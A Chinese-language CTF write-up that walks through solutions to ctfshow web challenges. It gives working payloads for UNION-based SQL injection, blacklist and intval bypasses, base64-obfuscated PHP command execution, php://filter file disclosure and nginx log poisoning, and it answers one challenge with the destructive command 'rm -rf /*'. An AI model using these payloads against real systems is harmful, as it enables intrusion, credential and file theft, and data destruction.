打开靶机,发现包含有个config.php文件,打开进去没有数据
有个变量为id,参数必须为1000才能获得flag,但id>999直接返回退出了。
尝试一下sql注入
整形注入:
看一下回显点
回显点为三
版本:10.3.18-MariaDB
数据库:web1
?id=2 union select 1,2,database()#
表:article
?id=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
字段:id,title,content
?id=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='article'#
内容:this is content,ctfshow{19b8411c-0a4e-4e19-8ecf-e2c97a8b00ce}
?id=2 union select 1,2,group_concat(content) from article#
获得flag:ctfshow{19b8411c-0a4e-4e19-8ecf-e2c97a8b00ce}
看一下下一题的web2
发现只是过滤了or和大小写
但我们并未用or,所以不影响,库、表、字段这些都相同,所以直接上一题的语句一把梭
?id=2 union select 1,2,group_concat(content) from article#
flag:ctfshow{2749f076-ea82-45bc-b43b-8fae34472540}
web3同理,也是过滤,只不过过滤得更多了
不影响,直接梭:
?id=2 union select 1,2,group_concat(content) from article#
Web4,这里过滤了select,用se/**/lect、双写发现绕不过去
但可以构造一个语句绕过intval函数
intval()函数:在转换整数时,如果被转换的是字符串,则会从最左边第一个字符开始转换,直到遇到非整数的字符才会停止转换
构造语句:
?id=2 || id=1000
flag:ctfshow{31c1e32b-6823-42e1-92cc-45460d801c55}
题目: 阿呆被老板狂骂一通,决定改掉自己大意的毛病,痛下杀手,修补漏洞。
解题思路: 题目代码
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id))
利用字节操作,构造url
?id=~~1000
web6:同理
?id=~~1000
web7发现禁了~符号
直接把十进制转2进制1000=ob1111101000
ctfshow{9f481eac-19be-4c78-82b8-aeb00875cd8a}
web8梗题
?flag=rm -rf /*
web9
提示flag在config.php中,然后要包含/system|exec|highlight
这些函数的任意一个
所以直接梭:?c=highlight_file("config.php");
web10
web9差不多,只是不能使用哪些函数,但php读取文件内容还有其它函数
如下:
// file_get_contents
print(sprintf("%'-10s%-'-30s", '-', 'file_get_contents').PHP_EOL);
echo file_get_contents('flag.txt');
echo PHP_EOL;
// fopen fread
print(sprintf("%'-10s%-'-30s", '-', 'fopen fread').PHP_EOL);
$file = fopen("flag.txt","rb");
echo fread($file,1024); // 参数为 resource 类型
fclose($file);
echo PHP_EOL;
// fopen fgets
print(sprintf("%'-10s%-'-30s", '-', 'fopen fgets').PHP_EOL);
$file = fopen("flag.txt","r");
echo fgets($file, 4096); // 过滤掉了 HTML 和 PHP 标签
fclose($file);
echo PHP_EOL;
// fopen fgetss
print(sprintf("%'-10s%-'-30s", '-', 'fopen fgetss').PHP_EOL);
$file = fopen("flag.txt","r");
echo fgetss($file, 4096); // 过滤掉了 HTML 和 PHP 标签
fclose($file);
echo PHP_EOL;
// readfile
print(sprintf("%'-10s%-'-30s", '-', 'readfile').PHP_EOL);
echo readfile("flag.txt"); // 看到不仅输出了所有内容,而且还输出了总共长度
echo PHP_EOL;
// file
print(sprintf("%'-10s%-'-30s", '-', 'file').PHP_EOL);
print_r(file('flag.txt')); // 读取结果为数组,所以需要用 print_r 或 var_dump
echo PHP_EOL;
// parse_ini_file
print(sprintf("%'-10s%-'-30s", '-', 'parse_ini_file').PHP_EOL);
echo parse_ini_file("flag.txt"); // 只能读取 ini 配置文件
echo PHP_EOL;
// show_source
print(sprintf("%'-10s%-'-30s", '-', 'show_source').PHP_EOL);
show_source('flag.txt');
echo PHP_EOL;
// highlight_file
print(sprintf("%'-10s%-'-30s", '-', 'highlight_file').PHP_EOL);
highlight_file('flag.txt');
echo PHP_EOL;
?c=show_source("config.php");
ctfshow{aa269eb9-2cb1-4af9-a73f-fb724d80fab4}
web11
只是过滤了cat
但不影响,直接读:?c=show_source("config.php");
ctfshow{cc30ffa0-d82a-43f5-bb6a-918c1aeaadc9}
web12
passthru:passthru — 执行外部程序并且显示原始输出
base64编码:
config.php:Y29uZmlnLnBocA==
system:c3lzdGVt
cat config.php:Y2F0IGNvbmZpZy5waHA=
用base64.decode绕过
?c=$a= base64_decode('Y29uZmlnLnBocA==');passthru("more $a");
得到flag
法2,继续base64_decode绕过
?c=$a=base64_decode("c3lzdGVt");$b=base64_decode("Y2F0IGNvbmZpZy5waHA=");$a($b);
flag:ctfshow{4808f87a-9844-4cce-a166-ef8d0b9a35bf}
web13:过滤了分号,一次只能执行一句命令
php中如果过滤了分号的话可以用?>来闭合命令
反引号``会将其中的内容当做系统命令来执行, 并返回一个字符串类型的变量用来保存执行结果, 下面的payload会先执行 `ls | grep con*`, 在将结果作为文件名供 more命令查询, 也就是 more config.php
?c=passthru("more `ls | grep con*`")?>
web14
include包含结合伪协议php://filter/read
构造payload:?c=include$_GET('a')?>$a=php://filter/read=convert.base64_encode/resource=config.php
获得结果:PD9waHANCiRmbGFnID0gImN0ZnNob3d7Yjk4YjcyZTgtOWU0YS00ZDkwLThiNGMtNjM2ZmRjNmQwNDhjfSI7DQo/Pg0K
base64解码
flag:ctfshow{b98b72e8-9e4a-4d90-8b4c-636fdc6d048c}
或 ?c=echo `$_REQUEST[a]`?>&a=cat config.php
web15
if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c))
\* ? < > =
所以上一题修改一下
构造payload:?c=include$_GET['a'];&a=php://filter/read=convert.base64-encode/resource=config.php
得到base64
PD9waHANCiRmbGFnID0gImN0ZnNob3d7YzI0NWI4YmUtZTJlMi00OTA4LWFhOTctMmYxM2I0YWFjNmE0fSI7DQo/Pg0K
解码: $flag = "ctfshow{c245b8be-e2e2-4908-aa97-2f13b4aac6a4}";
?>
web16
直接源码放出来了,发现传的参数加ctfshow再md5之后要===a6f57ae38a22448c2f07f3f95f49c84e
所以反向思考a6f57ae38a22448c2f07f3f95f49c84e解密之后应该有ctfshow的字符串,只要去掉ctfshow的字符串即为答案:
解密网站MD5免费在线解密破解_MD5在线加密-SOMD5MD5在线免费破解,支持md5,sha1,mysql,sha256,sha512,md4,织梦,vBulletin,Discuz,md5(Joomla),mssql(2012),ntlm,md5(base64),sha1(base64),md5(wordpress),md5(Phpbb3),md5(Unix),des(Unix)等数十种加密方式https://www.somd5.com/
所以答案就为36d
flag: ctfshow{1c7fbd46-2b67-4358-a686-74d8d2ec4546}
web17
过滤了php大小写
抓波包,发现Server为nginx,nginx日志文件在/var/log/nginx/access.log
访问一下:
可以访问,直接抓包,把user-agent改为一句话,梭
ctfshow{c8b7e662-039d-47cd-8ad0-f55ce48ce9e6}
ctfshow{9329c42e-52c9-4e3c-a9f7-471a9bc6f6de}
获得百分之百的快乐
代码审计,变量为1,传参的长度必须<4
ls一下
?1=ls
nl secretsecret_ctfshow_36dddddddddd.php zzz.php //by Firebasky
有这些文件,nl是我刚刚传上去的,flag在第一个secretsecret_ctfshow_36dddddddddd.php文件中,如果直接cat的话,这个文件名字太长了,不行
所以这里用到nl命令,nl命令跟cat差不多
直接构造?1=>nl 创建一个名为nl的空文件
?1=* 把第一个文件的名字当中命令执行 相当于执行nl命令
直接获得flag:ctfshow{3148ca47-1a20-4165-997d-03c0a8bbf31c}
另外还有 22、23、24题没做,思考一下
感谢观看~